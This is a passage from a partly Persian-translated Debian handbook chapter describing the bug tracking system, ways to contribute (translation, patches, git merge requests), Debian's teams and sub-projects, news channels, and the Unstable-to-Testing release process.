در پشت صحنه، این سامانه مبتنی بر ایمیل است: تمام اطلاعاتی که ذخیره می‌کند از پیام‌های ارسال شده توسط دیگران نشات می‌گیرد. هر ایمیلی که به <12345@bugs.debian.org> فرستاده شود به عنوان تاریخچه‌ای از باگ شماره ۱۲۳۴۵ در نظر گرفته می‌شود. اعضای مجاز پروژه می‌توانند با ارسال ایمیل به <12345-done@bugs.debian.org> یک باگ را “ببندد” (یک باگ زمانی بسته می‌شود که یا مشکلش رفع شده باشد یا بحث مرتبطی درباره آن وجود نداشته باشد). یک باگ جدید با فرستادن ایمیل به <submit@bugs.debian.org> با توجه به فرمت خاص هر بسته، ایجاد می‌شود. نشانی <control@bugs.debian.org> برای ویرایش “اطلاعات جانبی” درباره یک باگ استفاده می‌شود.

The Debian BTS has other functional features, as well, such as the use of tags for labeling bugs. For more information, see

→ https://www.debian.org/Bugs/

واژگان سحتی یک باگ

سختی یک باگ، میزان سنجش در رابطه با مشکل گزارش شده است. البته، تمام باگ‌ها از درجه اهمیت یکسان برخوردار نیستند؛ برای نمونه، یک اشتباه تایپی در صفحه راهنما اصلا قابل مقایسه با یک آسیب‌پذیری امنیتی در نرم‌افزار سرور نیست.

Debian uses an extended scale to describe the severity of a bug. Each level is defined precisely in order to facilitate the selection thereof.

→ https://www.debian.org/Bugs/Developer#severities

Users can also use the command line to send bug reports on a Debian package with the reportbug tool. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (by default, a remote one run by Debian, but reportbug can also use a local server).

این ابزار در ابتدا نسخه‌های تحت توسعه را هدف می‌گیرد، که باگ برای آن‌ها ارسال شده است. به همین منظور، تغییرات در نسخه‌های پایدار دبیان مورد قبول واقع نمی‌شوند مگر در مواقع خاص مانند بروزرسانی‌های امنیتی یا سایر بروزرسانی‌های مهم (اگر، برای نمونه، یک بسته اصلا کار نکند). اصلاح باگ در یک بسته دبیان، تا انتشار نسخه پایدار بعدی آن به عقب می‌افتد.

1.3.2.2. Translation and documentation

Additionally, numerous satisfied users of the service offered by Debian like to make a contribution of their own to the project. As not everyone has appropriate levels of expertise in programming, they may choose to assist with the translation and review of documentation. There are language-specific mailing lists to coordinate this work.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

بازگشت به مقدمات عبارت‌های i18n و l10n چیستند؟

عبارت‌های “i18n” و “l10n” مخفف “internationalization” و “localization” هستند که نشانگر حرف ابتدا و انتهای هر کلمه می‌باشند، به همراه تعداد کاراکترهای میانی آن‌ها.

“بین‌المللی ساختن” یک برنامه شامل تغییراتی است که می‌تواند منجر به ترجمه (محلی ساختن) آن شود. این فرآیند مستلزم بازبینی مجدد برنامه‌ای که تنها برای یک زبان خاص طراحی شده است تا بتواند از سایر زبان‌های موجود در جهان بهره ببرد.

“محلی ساختن” یک برنامه شامل ترجمه رشته‌های زبان اصلی (معمولا انگلیسی) به یک زبان دیگر است. برای این منظور، برنامه باید از قبل بین‌المللی ساخته شده باشد.

در مجموع، i18n نرم‌افزار را آماده فرآیند ترجمه می‌کند، که این فرآیند توسط l10n ایجاد می‌شود.

1.3.2.3. Sending fixes

More advanced users might be able to provide a fix to a program by sending a patch.

یک patch فایلی است که نشانگر تغییرات مورد نیاز در فایل‌های مرجع دیگر می‌باشد. به طور خاص، شامل خطوطی است که از فایل باید حذف یا به آن اضافه شوند، همینطور (گاهی) خطوطی که از متن اصلی گرفته شده‌اند و جایگزین تغییرات مورد نظر می‌شوند (آن‌ها امکان شناسایی محل قرارگیری این خطوط را می‌دهند حتی اگر شماره خطشان عوض شده باشد).

ابزاری که برای ایجاد تغییرات مورد نظر در این فایل‌ها استفاده می‌شود patch و ابزاری که این فایل patch را بوجود می‌آورد diff نام دارد و به شکل زیر استفاده می‌شود:

$ diff -u file.old file.new >file.patch

فایل file.patch شامل دستوراتی است که فایل file.old را به file.new تغییر می‌دهد. می‌توانیم آن را برای کسی بفرستیم تا فایل file.new را بازآفرینی کند، مانند این:

$ patch -p0 file.old <file.patch

فایل file.old اکنون همانند file.new است.

In practice, most software is maintained in Git repositories and contributors are thus more likely to use git to retrieve the source code and propose changes. git diff will generate a file in the same format as what diff -u would do and git apply can do the same as patch.

فرهنگ گیت

گیت ابزاری جهت مشارکت در چند فایل، بصورتی که تاریخچه کامل تمام فعالیت‌ها حفظ می‌گردد. فایل‌های مورد نظر معمولاً به صورت متنی هستند، مانند سورس کد برنامه. اگر چند نفر به طور همزمان روی یک فایل کار کنند، git تنها می‌تواند تغییراتی را که در قسمت‌های مختلف فایل اعمال شده است، با یکدیگر ادغام نماید. در غیر اینصورت، این “مغایرت” باید بصورت دستی برطرف گردد.

Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it is called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can stage changes for inclusion (git add), and can create a new entry in the versions history (git commit). It can also update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).

گیت فرآیند کار روی چند نسخه همزمان از یک پروژه را بدون تداخل در کار یکدیگر، تسهیل می‌نماید. این نسخه‌ها با نام شاخه شناخته می‌شوند. این استعاره از ساختار درختی تقریباً دقیق است، چراکه برنامه بصورت اولیه در تنه مشترک درخت توسعه می‌یابد. وقتی تغییر بزرگی صورت می‌گیرد (مانند نسخه ۱.۰)، فرآیند توسعه در دو شاخه ادامه می‌یابد: شاخه توسعه، انتشار اصلی بعدی را آماده می‌کند و شاخه نگهداری بروزرسانی‌ها و عیب‌یابی‌های نسخه ۱.۰ را مدیریت می‌کند.

Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, subversion (svn), git, bazaar (bzr), and mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

It is beyond the scope of this book to provide a detailed explanation about Git, for that you can refer to the Pro Git book.

→ https://git-scm.com/book/

While the output of git diff is a file that can be shared with other developers, there are usually better ways to submit changes. If the developers prefer to get patches by email, they usually want patches generated with git format-patch so that they can be directly integrated in the repository with git am. This preserves commits meta-information and makes it possible to share multiple commits at once.

This email-based workflow is still popular but it tends to be replaced by the usage of merge requests (or pull requests) whenever the software is hosted in a platform like GitHub or GitLab — and Debian is using GitLab on its salsa.debian.org server. On those systems, once you have created an account, you fork the repository, effectively creating a copy of the repository in your own account, and you can then clone that repository and push your own changes in it. From there, the web interface will suggest you to submit a merge request, notifying the developers of your changes, making it easy for them to review and accept your changes with a single click.

1.3.2.4. Other ways of contributing

All of these contribution mechanisms are made more efficient by users' behavior. Far from being a collection of isolated persons, users are a true community within which numerous exchanges take place. We especially note the impressive activity on the user discussion mailing list, <debian-user@lists.debian.org> ( فصل 7, حل مشکلات و یافتن اطلاعات مرتبط discusses this in greater detail).

→ https://lists.debian.org/users.html

نه تنها کاربران در مسائل فنی که مستقیم آن‌ها را درگیر می‌کند، به یکدیگر (و سایرین) یاری می‌رسانند، بلکه درباره مشارکت در دبیان و پیشبرد اهداف آن نیز همکاری دارند - گفتگوهایی که معمولا به پیشنهادهای سازنده ختم می‌شود.

TOOL how-can-i-help

The how-can-i-help program lists opportunities for contributing to Debian packages that are installed locally. After each APT invocation, it shows ways to help, by highlighting bugs tagged “newcomer” (which are easy entry-points for new contributors) or orphaned packages that need a new maintainer. The program can be executed directly as well.

از آنجایی که دبیان هزینه‌ای بابت بازاریابی خود انجام نمی‌دهد، کاربران آن نقش مهمی در این زمینه ایفا می‌کنند، به خصوص انتشار زبانی موضوعات مرتبط با پروژه دبیان.

This method works quite well, since Debian fans are found at all levels of the free software community: from install parties (workshops where seasoned users assist newcomers to install the system) organized by local LUGs or “Linux User Groups”, to association booths at large tech conventions dealing with Linux, etc.

Volunteers make posters, brochures, stickers, and other useful promotional materials for the project, which they make available to everyone, and which Debian provides freely on its website and on its wiki:

→ https://www.debian.org/events/material

1.3.3. تیم‌ها و پروژه‌های جانبی

دبیان از همان ابتدا بر مفهوم بسته‌های سورس، بنیان‌گذاری شده بود، که هر یک گروهی از توسعه‌دهندگان مربوط به خود را داشت. بسیاری از تیم‌ها به مرور زمان با یکدیگر تلفیق شده‌اند، تا از مدیریت زیرساخت، راهبری فعالیت‌هایی که به یک بسته خاص تعلق ندارند (تضمین کیفیت، خط‌مشی دبیان، نصب‌کننده و ...) اطمینان یابند، با استفاده از آخرین تیم‌هایی که پیرامون پروژه‌های جانبی شکل می‌گیرند.

1.3.3.1. پروژه‌های جانبی موجود در دبیان

برای هر سلیقه‌ای، یک نسخه از دبیان وجود دارد!‌ یک پروژه جانبی شامل داوطلبانی می‌شود که دبیان را منطبق با یک نیاز خاص تنظیم می‌کنند. در کنار انتخاب گروهی از برنامه‌ها برای یک حوزه خاص (آموزش، درمان، تولید محتوای چندرسانه‌ای و ...) پروژه‌های جانبی در بهبود بسته‌های موجود نیز دخیل هستند، بسته‌بندی نرم‌افزارهای غیرموجود، انطباق فرآیند نصب با یک نیاز خاص، ایجاد مستندات خاص و بسیاری موارد دیگر.

واژگان پروژه‌های جانبی و توزیع‌های مشتق‌شده

فرآیند توسعه برای یک توزیع مشتق نیازمند آغاز کار با یک نسخه دبیان و ایجاد تغییرات بر روی آن است. زیرساختی که برای اینکار استفاده می‌شود کاملاْ در خارج از پروژه دبیان وجود دارد. ضرورتا، خطی‌مشی در رابطه با مشارکت در بهینه‌سازی‌ها وجود ندارد. این اختلاف نشان می‌دهد که چطور یک توزیع مشتق شده ممکن است از اهداف اولیه خود “دور شوند” و اینکه چرا باید به صورت مداوم از منبع خود بروزرسانی کنند تا از آخرین تغییرات موجود بهره‌مند گردند.

از طرف دیگر، یک پروژه جانبی امکان مشتق شدن ندارد، چراکه فعالیت‌های صورت گرفته روی آن به طور مستقیم در بهبود دبیان برای یک نیاز خاص دخیل هستند.

بدون شک شناخته‌شده‌ترین توزیعی که از دبیان مشتق شده است، اوبونتو نام دارد اما موارد دیگری نیز هست. پيوست A, توزیع‌های مشتق شده را ببینید تا با ویژگی‌های هر یک و موقعیتشان نسبت به دبیان بیشتر آشنا شوید.

این فهرست کوچکی از پروژه‌های جانبی دبیان است:

Debian Jr., by Ben Armstrong, offering an appealing and easy to use Debian system for children;

Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic world;

Debian Med توسط آندریاس تیله، تقدیم به دنیای پزشکی؛

Debian Multimedia که با فعالیت‌های صوتی و تصویری سر و کار دارد؛

Debian GIS که مختص کاربران سامانه‌های اطلاعاتی جغرافیایی است؛

Debian Accessibility, improving Debian to match the requirements of people with disabilities;

Debian Science, finally, working on providing researchers and scientists a better experience using Debian.

DebiChem, targeted at Chemistry, provides chemical suites and programs.

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian sub-projects. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. تیم‌های مدیریتی

Most administrative teams are relatively closed and recruit only by co-optation. The best means to become a part of one is to intelligently assist the current members, demonstrating that you have understood their objectives and methods of operation.

The ftpmasters are in charge of the official archive of Debian packages. They maintain the program that receives packages sent by developers and automatically stores them, after some checks, on the reference server (ftp-master.debian.org).

آن‌ها همچنین باید مجوزهای بسته‌های جدید را بررسی کنند، به منظور اینکه با پروژه دبیان سازگاری داشته باشد قبل از اینکه به فهرست بسته‌های موجود اضافه گردند. وقتی که یک توسعه‌دهنده می‌خواهد بسته‌ای را حذف کند، آن‌ها این تیم را با استفاده از سامانه مدیریت باگ فراخوانی کرده و از “شبه‌-بسته” ftp.debian.org برای اینکار استفاده می‌کنند.

واژگان شبه‌-بسته، یک ابزار نظارتی

سامانه ردیابی باگ، که به صورت اولیه برای گزارش باگ‌ها در یک بسته دبیان طراحی شده بود، کاربردهای دیگری نیز دارد مانند: فهرستی از مشکلاتی که باید رفع شوند یا فعالیت‌های که بدون اشاره به بسته خاصی نیاز به مدیریت دارند. “شبه‌-بسته‌ها” این امکان را به برخی تیم‌ها می‌دهند که با استفاده از سامانه ردیابی باگ و بدون آنکه به بسته خاصی اشاره داشته باشند، اینگونه مشکلات را رفع کنند. بنابراین، هر فردی می‌تواند چنین مشکلاتی را گزارش نماید. برای نمونه، BTS یک مدخل ftp.debian.org دارد که برای گزارش و پیگیری مشکلات مربوط به یک بسته خاص یا درخواست خذف یک بسته مورد استفاده قرار می‌گیرد. مشابه آن، شبه‌-بسته www.debian.org به مشکلات موجود در وبسایت دبیان اشاره و lists.debian.org مشکلات مربوط به میلینگ لیست‌ها را جمع‌آوری می‌کند.

TOOL GitLab, Git repository hosting and much more

A GitLab instance, known as salsa.debian.org, is used by Debian to host the Git packaging repositories; but this software offers much more than simple hosting and Debian contributors have been quick to leverage the continuous integration features (running tests, or even building packages, on each push). Debian contributors also benefit from a cleaner contribution workflow thanks the well understood merge request process (similar to GitHub's pull requests).

GitLab replaced FusionForge (which was running on a service known as alioth.debian.org) for collaborative package maintenance. This service is administered by Alexander Wirt, Bastian Blank and Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

The Debian System Administrators (DSA) team (<debian-admin@lists.debian.org>), as one might expect, is responsible for system administration of the many servers used by the project. They ensure optimal functioning of all base services (DNS, Web, e-mail, shell, etc.), install software requested by Debian developers, and take all precautions in regards to security.

→ https://dsa.debian.org

ابزار ردیاب بسته دیبان

این یکی از ابداعات رافائل است. ایده اصلی این است که، برای هر بسته، تا جایی که ممکن است اطلاعات مربوط به آن در یک صفحه گردآوری شود. بنابراین، هر فرد می‌تواند وضعیت برنامه را پیگیری ، فعالیت‌های ناتمام را شناسایی و به راهنمایی دیگران اقدام نماید. به همین دلیل است که این صفحه تمام آمار مربوط به باگ، نسخه‌های موجود در هر توزیع، پیشرفت بسته در توزیع Testing، وضعیت ترجمه توضیحات و فایل‌های debconf، احتمال وجود یک نسخه بالادستی جدید، اطلاعیه عدم سازگاری با خط‌مشی اخیر دبیان، اطلاعات مربوط به شحص نگهدارنده بسته و بسیاری اطلاعات دیگر را جمع‌آوری می‌کند.

→ https://tracker.debian.org/

یک سرویس عضویت در ایمیل نیز این صفحه را کامل می‌کند که بصورت خودکار اطلاعات گردآوری شده جاری را به فهرست مورد نظر، ارسال می‌کند: باگ‌ها و گفتگوهای مرتبط، بررسی موجود بودن نسخه جدید در سرورهای دبیان، ترجمه‌های جدید که نیاز به بازنگری دارند و موارد دیگر.

Advanced users can, thus, follow all of this information closely and even contribute to the project, once they have got a good enough understanding of how it works.

صفحه وب دیگری که با نام Debian Developer's Packages Overview یا DDPO شناخته می‌شود خلاصه وضعیت بسته‌های دیگری که هر توسعه‌‌دهنده مسئولیت آن را بر عهده دارد، نمایش می‌دهد.

→ https://qa.debian.org/developer.php

این دو وبسایت ابزارهایی هستند که توسط گروه تضمین کیفیت دبیان (Debian QA) توسعه یافته و مدیریت می‌شوند.

listmasters ایمیل سروری را مدیریت می‌کنند که تمام میلینگ لیست‌ها در آن قرار دارد. آن‌ها فهرست‌های جدید را ایجاد، اطلاعیه‌های مرتبط با مشکلات آن را پیگیری و فیلترهای اسپم (ایمیل‌های ناخواسته) را بازبینی می‌کنند.

فرهنگ ترافیک موجود در میلینگ لیست‌ها: آمار و ارقام

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from May 2019) regarding our mailing lists speak for themselves: Debian hosts about 315 lists, totaling over 303,000 individual subscriptions. 227,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case of the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar TOOL GitLab, Git repository hosting and much more), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. تیم‌های توسعه، تیم‌های عرضی

برخلاف تیم‌های مدیریتی، تیم‌های توسعه معمولاً بسیار باز هستند، حتی برای مشارکت‌کنندگان خارج از پروژه. حتی اگر دبیان ارتباطی با ایجاد نرم‌افزار نداشته باشد، پروژه به برخی برنامه‌های خاص برای رسیدن به اهدافش نیاز دارد. البته، تحت توسعه یک مجوز نرم‌افزار آزاد، این ابزارها با استفاده از روش‌های گوناگونی در دنیای نرم‌افزار آزاد ساخته می‌شوند.

دبیان در این زمینه نرم‌افزار خاص خود را ندارد، اما برخی برنامه‌ها نقش کلیدی بازی می‌کنند که اعتبار آن‌ها فراتر از حوزه پروژه را شامل می‌شوند. نمونه‌های خوب عبارتند از dpkg، برنامه مدیریت بسته دبیان (که در حقیقت محفف Debian PacKaGe است و بصورت “dee-package” تلفظ می‌شود) و apt، ابزاری که بصورت خودکار یک بسته دبیان را نصب می‌کند، همچنین وابستگی‌های مربوط به آن را که این امر جامعیت سیستم پس از بروزرسانی‌های گوناگون را حفظ می‌کند (که مخفف Advanced Package Tool است). تیم‌های مربوط به این دو، کوچکتر از سایر تیم‌ها هستند، چراکه درک عمیقی از برنامه‌نویسی و چگونگی عملکرد کل سیستم برای آن‌ها مورد نیاز است.

The most important team is probably that for the Debian installation program, debian-installer, which has accomplished a work of momentous proportions since its conception in 2001. Numerous contributors were needed, since it is difficult to write a single program able to install Debian on a dozen different architectures. Each one has its own mechanism for booting and its own bootloader. All of this work is coordinated on the <debian-boot@lists.debian.org> mailing list, under the direction of Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

تیم برنامه (کوچک) debian-cd دیدگاه متواضع‌تری دارد. بسیاری مشارکت‌کنندگان “کوچک” مسئول معماری‌های تحت نظر خود هستند، چراکه هر توسعه‌دهنده نه تنها پیچیدگی‌های خاص هر معماری، بلکه روش صحیح اجرای برنامه از روی CD-ROM را نیز نمی‌داند.

بسیاری از تیم‌ها در فعالیت بسته‌بندی باید با یکدیگر مشارکت داشته باشند: برای نمونه، <debian-qa@lists.debian.org> تلاش می‌کند کیفیت لازم در تمام سطوح پروژه دبیان را تضمنی نماید. فهرست <debian-policy@lists.debian.org> خط‌مشی کلی دبیان را بر اساس طرح‌های اولیه، توسعه می‌دهد. تیم‌های مسئول هر معماری (<debian-architecture@lists.debian.org>) تمام بسته‌ها را کامپایل و آن‌ها را بر اساس هر معماری منطبق می‌سازد.

سایر تیم‌ها مهمترین بسته‌های موجود را مدیریت می‌کنند تا فرآیند نگهداری از بسته‌ها بدون سنگین شدن یکی از آن‌ها، تضمین شود؛ این مورد درباره کتابخانه C صادق است و <debian-glibc@lists.debian.org>، کامپایلر C در فهرست <debian-gcc@lists.debian.org> یا Xorg در فهرست <debian-x@lists.debian.org> (این گروه با نام گروه ضربت X معروف است).

1.4. پیگیری اخبار دبیان

همانطور که اشاره شد، پروژه دبیان به شیوه‌ای نامتمرکز و ارگانیک توسعه می‌یابد. به همین دلیل، گاهی وقت‌ها دشوار می‌شود که اخبار مرتبط با پروژه را دنبال کرد بدون آنکه سیل عظیمی از اطلاع‌رسانی‌ها را دریافت نکنیم.

اگر شما خواهان مهم‌ترین اخبار درباره دبیان هستید، به احتمال زیاد باید در لیست <debian-announce@lists.debian.org> عضو شوید. این لیست، ترافیک بسیار پایینی دارد (در حدود چندین پیام در سال) و تنها مهم‌ترین اطلاع‌رسانی‌ها را ارائه می‌دهد، مانند موجود بودن یک نسخه جدید پایدار، انتخاب یک رهبر پروژه جدید یا کنفرانس‌های سالانه دبیان.

→ https://lists.debian.org/debian-announce/

More general (and regular) news about Debian are sent to the <debian-news@lists.debian.org> list. The traffic on this list is quite reasonable too (usually around a handful of messages a month), and it includes the semi-regular “Debian Project News”, which is a compilation of various small bits of information about what happens in the project.

→ https://lists.debian.org/debian-news/

COMMUNITY The publicity team

Debian's official communication channels are managed by volunteers of the Debian publicity team. They are delegates of the Debian Project Leader and moderate news and announcements posted there. Many other volunteers contribute to the team, for example, by writing content for “Debian Project News”, Debian's official blog (bits.debian.org) or the microblogging service (micronews.debian.org), which supplies social networking sites with microblogging content.

→ https://wiki.debian.org/Teams/Publicity

For more information about the evolution of Debian and what is happening at some point in time in various teams, there is also the <debian-devel-announce@lists.debian.org> list. As its name implies, the announcements it carries will probably be more interesting to developers, but it also allows interested parties to keep an eye on what happens in more concrete terms than just when a stable version is released. While <debian-announce@lists.debian.org> gives news about the user-visible results, <debian-devel-announce@lists.debian.org> gives news about how these results are produced. As a side note, “d-d-a” (as it is sometimes referred to) is the only list that Debian developers must be subscribed to.

→ https://lists.debian.org/debian-devel-announce/

Debian's official blog (bits.debian.org) is also a good source of information. It conveys most of the interesting news that are published on the various mailing lists that we already covered and other important news contributed by community members. Since all Debian developers can contribute these news when they think they have something noteworthy to make public, Debian's blog gives a valuable insight while staying rather focused on the project as a whole.

A more informal source of information can also be found on Planet Debian, which aggregates articles posted by Debian contributors on their respective blogs. While the contents do not deal exclusively with Debian development, they provide a view into what is happening in the community and what its members are up to.

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://fosstodon.org/@debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. نقش توزیع‌ها

یک توزیع گنو/لینوکس دو هدف عمده دارد: نصب یک سیستم عامل آزاد در رایانه (خواه با وجود سیستم فعلی یا بدون وجود آن) و فراهم‌سازی طیف گسترده‌ای از نرم‌افزارها که نیاز کاربران را پاسخ دهد.

1.5.1. نصب‌کننده: debian-installer

debian-installer، با طراحی ماژولار و بسیار انعطاف‌پذیر، هدف اول را نشانه گرفته است. شامل طیف گسترده‌ای از حالت‌های نصب می‌شود و به صورت عمومی در فرآیند نصب یک توزیع مشتق را تسهیل می‌سازد.

این انعطاف‌پذیری، که البته آن را خیلی پیچیده نیز می‌سازد، ممکن است برای توسعه‌دهندگانی که تازه با این ابزار آشنا شده‌اند بسیار هراس‌آور باشد؛ اما خواه در محیط گرافیکی یا متنی مورد استفاده قرار گیرد، تجربه کاربری یکسان خواهد بود. تلاش بسیاری صورت گرفته است تا تعداد پرسش‌های زمان نصب به حداقل کاهش یابد، به طور خاص و به لطف نرم‌افزار خودکار شناسایی سخت‌افزار.

شایان ذکر است که بدانید توزیع‌های مشتق‌شده از دبیان، در این جنبه بسیار متفاوت عمل ‌می‌کنند و نصب‌کننده محدودتری در اختیار کاربران می‌گذارند (که معمولاً تنها معماری‌های i386 و amd64 را شامل می‌شود) اما کاربر-پسند بودن برای افراد تازه‌کار. از طرف دیگر، آن‌ها معمولاً از دور ماندن نسبت به بسته‌های موجود در پروژه دبیان به منظور دسترسی به طیف گسترده‌ای از نرم‌افزار و عدم انطباق با نسخه‌های گوناگون، دوری می‌کنند.

1.5.2. کتابخانه نرم‌افزار

Quantitatively, Debian is undeniably the leader in this respect, with over 28,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.

Many retailers sell DVD-ROMs on the Internet at a very low price (often at cost), the “images” for which are freely available for download. There is only one drawback: the low frequency of releases of new stable versions (their development sometimes takes more than two years), which delays the inclusion of new software.

بسیاری از برنامه‌های جدید نرم‌افزار آزاد به سرعت مسیر خود را در نسخه تحت توسعه پیدا می‌کنند که اجازه نصب به آن‌ها داده شود. اگر این فرآیند مستلزم بروزرسانی‌های زیادی برای وابستگی‌های این برنامه‌ها باشد، آنگاه می‌تواند برای نسخه پایدار دبیان مجدداً کامپابل گردد (برای اطلاعات بیشتر در این زمینه فصل 15, ساخت یک بسته دبیان را مشاهده کنید).

1.6. چرخه‌حیات یک انتشار

پروژه به طور همزمان شامل سه تا شش نسخه از هر برنامه می‌باشد که عبارتند از: آزمایشی و ناپایدار و تحت آزمون و پایدار و پایدار سابق و حتی پایدار قدیمی. هر یک به فاز جداگانه‌ای از فرآیند توسعه ارتباط دارد. برای درک صحیح در این زمینه، بیایید به سفر یک برنامه در دنیای دبیان نگاهی بیندازیم، از بسته‌بندی اولیه گرفته تا انتشار آن در نسخه پایدار دبیان.

واژگان انتشار

عبارت “release” در پروژه دبیان، نشانگر یک نسخه خاص از توزیع است (برای نمونه، “unstable release” به معنای “نسخه ناپایدار” است). همچنین نشانگر اطلاع‌رسانی عمومی درباره راه‌اندازی یک نسخه جدید است (پایدار).

1.6.1. وضعیت شاخه آزمایشی

در ابتدا بیایید به مورد خاص توزیع آزمایشی نگاهی بیندازیم: این گروهی است از بسته‌های دبیان که شامل نرم‌افزارهای در حال توسعه هستند، نه آن‌هایی که کامل شده‌اند، همانطور که از نامش مشخص است. هر نرم‌افزاری از این مرحله عبور نمی‌کند؛ برخی توسعه‌دهندگان بسته‌های خود را در اینجا قرار می‌دهند تا از سایر کاربران باتجربه (یا شجاع‌تر) دیدگاهشان را جویا شوند.

در غیر اینصورت، این توزیع به صورت عمده شامل تغییرات مهمی در بسته‌های پایه است که یکپارچه‌سازی آن‌ها در ناپایدار با باگ‌های جدی می‌تواند تاثیرات مخربی به همراه داشته باشد. بنابراین، یک توزیع کاملاً ایزوله به حساب می‌آید، بسته‌های آن هیچگاه به نسخه‌های دیگر مهاجرت نمی‌کنند (مگر تحت نظارت توسعه‌دهنده اصلی یا ftpmasters). همچنین یک محیط جداگانه نیز به حساب نمی‌آید: تنها قسمتی از بسته‌های موجود در توزیع آزمایشی حاضر هستند و شامل سیستم پایه دبیان نمی‌باشد. این توزیع در مقایسه با یک توزیع جداگانه دیگر مانند ناپایدار معنا پیدا می‌کند.

1.6.2. وضعیت شاخه ناپایدار

Let us turn back to the case of a typical package. The maintainer creates an initial package, which they compile for the Unstable version and place on the ftp-master.debian.org server. This first event involves inspection and validation from the ftpmasters. The software is then available in the Unstable distribution, which is the “cutting edge” distribution chosen by users who are more concerned with having up-to-date packages than worried about serious bugs. They discover the program and then test it.

اگر در این مرحله باگی پیدا کنند، آن را به مسئول بسته گزارش می‌کنند. مسئول بسته آنگاه نسخه‌های بروزتری ارائه می‌دهد، که آن‌ها در سرور اصلی آپلود می‌کنند.

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. Most frequently, the maintainer has only one traditional PC and has compiled their package on the amd64 (or i386) architecture (or they opted for a source-only upload, thus without any precompiled package); the autobuilders take over and automatically compile versions for all the other architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

شكل 1.2. فرآیند کامپایل بسته‌ها توسط autobuilder

نگاه سریع buildd, بسته دبیان برای کامپایل مجدد

buildd مخفف “build daemon” است. این برنامه به صورت خودکار نسخه‌های جدید از یک بسته دبیان را برای معماری‌های موجود در آن کامپایل می‌کند (فرآیند کامپایل موازی تا جایی که ممکن است استفاده نمی‌گردد).

بنابراین، برای تولید باینری‌های معماری arm64، پروژه ماشین‌های arm64 مربوط به خود را دارد. برنامه buildd به صورت مداوم روی آن‌ها اجرا شده تا باینری‌های مربوط به معماری arm64 را با استفاده از بسته‌های سورس ارائه شده توسط توسعه‌دهندگان دبیان تولید کند.

این نرم‌افزار بر روی تمام رایانه‌هایی که به عنوان autobuilder برای دبیان شناخته می‌شوند، کار می‌کند. عبارت buildd اغلب برای اشاره به این ماشین‌ها بکار می‌رود، که تنها برای این هدف خاص در نظر گرفته شده‌اند.

1.6.3. مهاجرت به شاخه تحت آزمون

اندکی بعد، بسته به بلوغ نسبی می‌رسد؛ روی تمام معماری‌ها کامپایل می‌شود و شامل تغییرات بجای مانده نخواهد بود. اینجاست که برای قرار گرفتن در توزیع تحت‌آزمون به عنوان کاندید انتخاب می‌شود - گروهی از بسته‌های ناپایدار که بر اساس شرایط کیفی خاصی انتخاب شده‌اند. هر روزه یک برنامه به صورت خودکار بسته‌های مورد نیاز برای قرار گرفتن در شاخه تحت‌آزمون را انتخاب می‌کند، بر اساس عنصرهایی که سطح خاصی از کیفیت برنامه را تضمین می‌نمایند:

عدم وجود باگ‌های اساسی، یا حداقل کمتر از تعدادی که در نسخه موجود در شاخه تحت‌آزمون قرار دارد؛

at least 5 days spent in Unstable, which is usually sufficient time to find and report any serious problems (successfully passing the package's own test suite, if it has one, reduces that time);

کامپایل موفقیت‌آمیز در تمام معماری‌های تحت پوشش؛

dependencies that can be satisfied in Testing, or that can at least be moved there together with the package in question;

automatic quality tests of the package (autopkgtest) — if defined — don't show any regression.

این سیستم مشخصاً بدون خطا نخواهد بود؛ باگ‌های اساسی معمولاً در بسته‌های موجود در شاخه تحت‌آزمون پیدا می‌شوند. هنوز، شاخه تحت‌آزمون نسبت به ناپایدار مشکلات کمتری ایجاد می‌نماید که برای بسیاری مقایسه مناسبی بین پایداری و تازگی به حساب می‌آید.

یادداشت محدودیت‌های شاخه تحت‌آزمون

